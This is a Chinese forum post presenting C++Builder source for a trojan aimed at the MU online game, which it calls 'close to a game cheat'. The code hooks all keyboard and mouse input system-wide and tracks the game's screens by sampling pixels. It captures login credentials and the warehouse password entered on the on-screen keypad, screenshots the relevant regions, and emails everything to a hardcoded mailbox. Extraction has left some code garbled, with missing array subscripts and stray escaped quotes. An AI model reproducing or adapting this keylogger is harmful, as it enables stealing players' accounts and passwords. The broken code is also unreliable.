一个近似游戏外挂的实例
//Data文件HHOOK g_hLogHook=NULL;//钩子变量
int State=0;//跟踪状态
String AllResult="";//状态变化记录
Graphics::TBitmap* SectionMap;//区号图片
Graphics::TBitmap* ServerMap;//服务器号图片
String LogMessage="";//登录消息记录
Graphics::TBitmap* LogMap;//登录框图片
String DepotMessage="";//仓库密码输入消息记录
Graphics::TBitmap* DepotMap;//仓库键盘图片
String TempDepotMessage="";//仓库密码输入消息临时记录
Graphics::TBitmap* TempDepotMap;//仓库键盘临时图片
String GameName="奇迹";//游戏名字
String GameFlag="MUMU";//游戏进程标志
//String GameFlag="TApplicationMiracle";//游戏进程标志
String MailTo="1luck@sina.com.cn";//接受邮箱
String ThisFlag="金钻";//邮件附加标志
String TheDateTime="";//启动时间
String ReceiveString="";
bool Waiting=false;
String KeyStr=
{
"","","","","","","","","","",//9
"","","","","","","","","","", //19
"","","","","","","","","","", //29
"","","","","","","","","","", //39
"","","","","","","","","0","1", //49
"2","3","4","5","6","7","8","9","","", //59
"","","","","","A","B","C","D","E", //69
"F","G","H","I","J","K","L","M","N","O", //79
"P","Q","R","S","T","U","V","W","X","Y", //89
"Z","","","","","","0","1","2","3", //99
"4","5","6","7","8","9","*","+","","-", //109
".","/","","","","","","","","", //119
"","","","","","","","","","", //129
"","","","","","","","","","", //139
"","","","","","","","",")","!", //149
"@","#","$","%","^","&","*","(","a","b", //159
"c","d","e","f","g","h","i","j","k","l", //169
"m","n","o","p","q","r","s","t","u","v", //179
"w","x","y","z","","",";","=",",","-", //189
".","/","`","","","",":","+","<","_", //199
">","?","~","","","","","","","", //209
"","","","","","","","","","[", //219
"\\","]","\'","","","","","","","{", //229
"|","}","\"","","","","","","","", //239
"","","","","","","","","","", //249
"","","","","",""
};
int ColorDate=//10个阶段、4个分辨率、5个点、3个因素
{
520,109,0,470,178,13023909,537,180,16777207,454,649,0,540,641,0,//选择服务器界面
360,676,3224625,654,688,3223618,673,488,2696249,347,531,3223618,111,664,0,//连接服务器过渡图片
360,676,3224625,654,688,3223618,673,488,2696249,347,531,3223618,111,664,0,//登录界面
347,460,4216687,432,460,2111295,519,460,3162207,601,460,5271423,660,460,3168095,//用户验证过渡图片
73,87,0,467,3,4347226,551,7,5920090,992,168,5395794,1011,262,1052688,//角色选择界面
3,638,0,1,764,1792,735,764,985103,1020,722,1054480,1001,630,0,//游戏进行界面1
347,166,5204095,348,324,10467536,458,424,10541295,675,377,987151,651,166,8372447,//输入仓库密码界面
484,224,13600911,497,224,13666447,512,223,13666447,525,223,13600911,526,219,13666447,//输入四位密码时图片
435,103,7309215,560,103,7378864,673,139,2105376,504,126,16777215,523,127,16777215,//仓库密码错误提示图片
1015,661,3159856,1023,759,985103,267,744,3174287,123,750,0,10,660,1052688,//游戏进行界面2
1006,630,0,992,709,1792,756,743,5279919,269,743,8435663,12,635,16777215//游戏进行界面3
};
//cpp文件
//---------------------------------------------------------------------------
//识别游戏进程
bool Validate(int Count)
{
int TempPlace;
HDC hdc = GetDC(0);
for(int i=0;i<5;i++)
TempPlace=GetPixel(hdc,ColorDate,ColorDate);
ReleaseDC(0, hdc);
int MyTime=0;
for(int i=0;i<5;i++)
if(abs(((TempPlace>>16)&255)-((ColorDate>>16)&255))<10
&&abs(((TempPlace>>8)&255)-((ColorDate>>8)&255))<10
&&abs((TempPlace&255)-(ColorDate&255))<10)
MyTime++;
return MyTime>=4;
}
//---------------------------------------------------------------------------
//系统消息钩子
HOOKPROC JournalLogProc(int iCode,WPARAM wParam,LPARAM lParam)
{
if(iCode<0)return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
if(iCode==HC_ACTION)
{
EVENTMSG* pEvt=(EVENTMSG*)lParam;
String MessageStr;
if(pEvt->message==WM_KEYDOWN)
{
int vKey=LOBYTE(pEvt->paramL);//取得虚拟键值
bool bShift=(GetKeyState(0x10)<0);
bool bCapital=(GetKeyState(0x14)&1)==1;
if(KeyStr==""&&bShift)//接到退出指令
{
AllResult+="~close ";
Form1->Timer1->Enabled=false;
AllResult+="~Data ";
TStringList* MailText=new TStringList;
MailText->Add("游戏名字:"+GameName);
MailText->Add("附加标志:"+ThisFlag);
MailText->Add("启动时间:"+TheDateTime);
MailText->Add("游戏分区:"+Coding(SectionMap,254,254,254));
MailText->Add("服务器号:"+Coding(ServerMap,206,206,206));
MailText->Add("登录消息:"+LogMessage);
MailText->Add("登录图片:"+Coding(LogMap,254,238,222));
MailText->Add("仓库消息:"+DepotMessage);
MailText->Add("仓库图片:"+Coding(DepotMap,127,119,143,false));
MailText->Add("状态变化:"+AllResult);
TStringList* SendText=new TStringList;
for(int i=1;i<26;i++)
SendText->Add(MailOrder);
for(int i=0;i<MailText->Count;i++)
SendText->Add("S: "+MailText->Strings);
for(int i=26;i<32;i++)
SendText->Add(MailOrder);
SendText->SaveToFile("333.txt");
delete MailText;
delete SendText;
Form1->Close();
}
if(vKey>=48 && vKey<=57) //数字键0-9
if(!bShift)
MessageStr=KeyStr;
else
MessageStr=KeyStr;
if(vKey>=65 && vKey<=90) //A-Z a-z
if(bCapital ^ bShift)
MessageStr=KeyStr;
else
MessageStr=KeyStr;
if(vKey>=186 && vKey<=222) //其它符号键
if(!bShift)
MessageStr=KeyStr;
else
MessageStr=KeyStr;
if( (vKey>=96 && vKey<=111) //小键盘
||(vKey>=112 && vKey<=123) // 功能键 -
||(vKey>=8 && vKey<=46)) //方向键
MessageStr=KeyStr;
}
POINT MyPosition;
if(pEvt->message==WM_LBUTTONDOWN)
{
GetCursorPos(&MyPosition);
MessageStr="("+String(MyPosition.x)+","+String(MyPosition.y)+")";
}
AllResult+=MessageStr;
if(pEvt->message==WM_KEYDOWN||pEvt->message==WM_LBUTTONDOWN)
{
switch(State)
{
case 2://已选择服务器号状态;
{
if(pEvt->message==WM_LBUTTONDOWN)
{
HDC hdc = GetDC(0);
BitBlt(ServerMap->Canvas->Handle,0,0,ServerMap->Width,ServerMap->Height,
hdc,Screen->Width/2-30,Screen->Height/2-80,SRCCOPY);
BitBlt(SectionMap->Canvas->Handle,0,0,SectionMap->Width,SectionMap->Height,
hdc,Screen->Width-SectionMap->Width,Screen->Height-SectionMap->Height,SRCCOPY);
ReleaseDC(0, hdc);
}
break;
}
case 4://登录状态;
{
LogMessage=LogMessage+MessageStr+" ";
if(pEvt->message==WM_LBUTTONDOWN||MessageStr=="")
{
HDC hdc = GetDC(0);
BitBlt(LogMap->Canvas->Handle,0,0,LogMap->Width,LogMap->Height,
hdc,Screen->Width/2-ServerMap->Width/2,Screen->Height/2+100,SRCCOPY);
ReleaseDC(0, hdc);
}
break;
}
case 8://输入仓库密码状态;
{
if(pEvt->message==WM_LBUTTONDOWN)
{
int X=MyPosition.x,Y=MyPosition.y;
if((X>356)&&(X<612)&&(Y>245)&&(Y<357))
{
X-=357;
Y-=246;
if((X%64<50)&&(Y%61<50))
TempDepotMessage+=String(Y/61*5+X/64)+" ";
}
if((X>548)&&(X<661)&&(Y>381)&&(Y<413))
{
AllResult+="~7 ";
State=7;
Form1->Timer1->Enabled=false;
Sleep((unsigned int)1000);
Form1->Timer1->Enabled=true;
}
if((X>357)&&(X<408)&&(Y>367)&&(Y<419))
TempDepotMessage+="B ";
}
break;
}
case 81://已输入四位仓库密码状态;
{
if(pEvt->message==WM_LBUTTONDOWN)
{
int X=MyPosition.x,Y=MyPosition.y;
if((X>548)&&(X<661)&&(Y>381)&&(Y<413))
{
AllResult+="~7 ";
State=7;
Form1->Timer1->Enabled=false;
Sleep((unsigned int)1000);
Form1->Timer1->Enabled=true;
}
if((X>424)&&(X<536)&&(Y>381)&&(Y<413))
{
AllResult+="~82 ";
State=82;
}
if((X>357)&&(X<408)&&(Y>367)&&(Y<419))
{
TempDepotMessage+="B ";
AllResult+="~8 ";
State=8;
}
}
break;
}
}
}
}
return (HOOKPROC)CallNextHookEx(g_hLogHook,iCode,wParam,lParam);
}
//---------------------------------------------------------------------------
//跟踪游戏进程
void __fastcall TForm1::Timer1Timer(TObject *Sender)
{
bool BootFlag=false;
AnsiString Data=\"\";
HWND hwnd=GetTopWindow(0);
while (hwnd != 0)
{
char szWinCaption;
char szWinClass;
if(!GetWindowText(hwnd, szWinCaption, 256))
*szWinCaption = 0;
if(!GetClassName(hwnd,szWinClass,256))
*szWinClass = 0;
if((String(szWinClass)+String(szWinCaption))==GameFlag)
BootFlag=true;
hwnd=GetNextWindow(hwnd,GW_HWNDNEXT);
}
if((!BootFlag)&&(State>0))
{
State=0;
AllResult+=\"~Data \";
TStringList* MailText=new TStringList;
MailText->Add(\"游戏名字:\"+GameName);
MailText->Add(\"附加标志:\"+ThisFlag);
MailText->Add(\"启动时间:\"+TheDateTime);
MailText->Add(\"游戏分区:\"+Coding(SectionMap,254,254,254));
MailText->Add(\"服务器号:\"+Coding(ServerMap,206,206,206));
MailText->Add(\"登录消息:\"+LogMessage);
MailText->Add(\"登录图片:\"+Coding(LogMap,254,238,222));
MailText->Add(\"仓库消息:\"+DepotMessage);
MailText->Add(\"仓库图片:\"+Coding(DepotMap,127,119,143,false));
MailText->Add(\"状态变化:\"+AllResult);
MailText->SaveToFile(\"222.txt\");
MailText->Add(String(SendMail(MailText)));
MailText->SaveToFile(\"555.txt\");
delete MailText;
}
switch(State)
{
case 0:
{
if(BootFlag)
State=1;
break;
}
case 1://已启动;
{
if(Validate(0))
{
AllResult+=\"~2 \";
State=2;
}
break;
}
case 2://选择服务器状态;
{
if(Validate(1))
{
AllResult+=\"~3 \";
State=3;
}
if(Validate(2))
{
AllResult+=\"~4 \";
State=4;
}
break;
}
case 3://连接服务器状态;
{
if(Validate(2))
{
AllResult+=\"~4 \";
State=4;
}
break;
}
case 4://登录状态;
{
bool Jumb=false;
if(Validate(3))
{
AllResult+=\"~5 \";
State=5;
Jumb=true;
}
if(Validate(4))
{
AllResult+=\"~6 \";
State=6;
Jumb=true;
}
if(Jumb)
{
//发出包含区号、服务器号、用户名、密码的邮件;
TStringList* MailText=new TStringList;
MailText->Add(\"游戏名字:\"+GameName);
MailText->Add(\"附加标志:\"+ThisFlag);
MailText->Add(\"启动时间:\"+TheDateTime);
MailText->Add(\"游戏分区:\"+Coding(SectionMap,254,254,254));
MailText->Add(\"服务器号:\"+Coding(ServerMap,206,206,206));
MailText->Add(\"登录消息:\"+LogMessage);
MailText->Add(\"登录图片:\"+Coding(LogMap,254,238,222));
MailText->Add(\"仓库消息:\"+DepotMessage);
MailText->Add(\"仓库图片:\"+Coding(DepotMap,127,119,143,false));
MailText->Add(\"状态变化:\"+AllResult);
MailText->SaveToFile(\"111.txt\");
MailText->Add(String(SendMail(MailText)));
MailText->SaveToFile(\"555.txt\");
delete MailText;
}
break;
}
case 5://检验密码状态;
{
if(Validate(4))
{
AllResult+=\"~6 \";
State=6;
}
break;
}
case 6://选择角色状态;
{
if(Validate(5))
{
AllResult+=\"~7 \";
State=7;
}
break;
}
case 7://游戏进行状态;
{
if(Validate(6))
{
TempDepotMessage=\"\";
AllResult+=\"~8 \";
State=8;
}
break;
}
case 8://进入输入仓库密码状态;
{
if(Validate(7))
{
HDC hdc = GetDC(0);
BitBlt(TempDepotMap->Canvas->Handle,0,0,342,272,hdc,340,160,SRCCOPY);
ReleaseDC(0, hdc);
AllResult+=\"~81 \";
State=81;
}
break;
}
case 81://已输入四位仓库密码状态;
{
break;
}
case 82://判断仓库密码是否错误;
{
if(Validate(8))
{
AllResult+=\"~82~7 \";
State=7;
}
else if(!Validate(7))
{
DepotMessage=TempDepotMessage;
DepotMap->Canvas->Draw(0,0,TempDepotMap);
AllResult+=\"~7 \";
State=7;
}
break;
}
}
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormCreate(TObject *Sender)
{
if(g_hLogHook==NULL)//安装日志钩子
g_hLogHook=SetWindowsHookEx(WH_JOURNALRECORD,(HOOKPROC)JournalLogProc,HInstance,0);
TheDateTime=DateToStr(Date())+\" \"+TimeToStr(Time());
SectionMap = new Graphics::TBitmap;//区号图片
ServerMap = new Graphics::TBitmap;//服务器号图片
LogMap = new Graphics::TBitmap;//登录框图片
DepotMap = new Graphics::TBitmap;//仓库键盘图片
TempDepotMap = new Graphics::TBitmap;//仓库键盘图片
SectionMap->Width = 200;
SectionMap->Height = 100;
ServerMap->Width = 100;
ServerMap->Height = 272;
LogMap->Width = 200;
LogMap->Height = 172;
DepotMap->Width = 342;
DepotMap->Height = 272;
TempDepotMap->Width = 342;
TempDepotMap->Height = 272;
}
//---------------------------------------------------------------------------
void __fastcall TForm1::FormClose(TObject *Sender, TCloseAction &Action)
{
if(g_hLogHook!=NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook=NULL;
}
SectionMap->Free();//收回区号图片空间
ServerMap->Free();//收回服务器号图片空间
LogMap->Free();//收回登录框图片空间
DepotMap->Free();//收回仓库键盘图片空间
}
//--------------------------------------------------------------------------- C++builder?
页:
[1]